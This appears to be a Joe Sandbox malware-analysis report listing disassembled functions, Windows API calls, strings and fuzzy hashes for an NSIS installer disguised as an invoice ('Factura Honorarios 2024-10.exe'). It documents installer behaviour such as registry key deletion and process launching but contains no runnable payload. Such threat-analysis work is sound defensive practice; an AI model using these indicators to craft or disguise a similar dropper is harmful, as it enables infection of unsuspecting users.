Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Program Files (x86)\shaw,?,00000000,000000F0), ref: 00401630

Strings

C:\Program Files (x86)\shaw, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Program Files (x86)\shaw
API String ID: 3751793516-209812835
Opcode ID: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405C44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C6E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C8F
RegCloseKey.ADVAPI32(?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CB2

Strings

Call, xrefs: 00405C47

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 3cd74c106f1fbed165a62e297fbc125935b5083a19d10d34083766567549a8a9
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: 4901083115420AEBEB218F66ED09E9B3FA8EF85354F00402AF915E6260D335D964DBA5

Function 00405A12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004031FD,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405A4B

Strings

nsa, xrefs: 00405A1F
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A17, 00405A1B

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Part of subcall function 004054F2: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 004058CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 00405923
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405933

Strings

C:\, xrefs: 004058D0, 004058D5, 004058DB, 0040591C, 00405922, 0040592A, 00405932

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction ID: 0f7a694044e1ae6067649bf4c27e992d8c5df1d17723ae8105b53f34b172a702
Opcode Fuzzy Hash: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction Fuzzy Hash: BBF0F926204D5155E62132365C05AAF1519CE82724B59893FFC50B12C1DB3C89539C7E

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
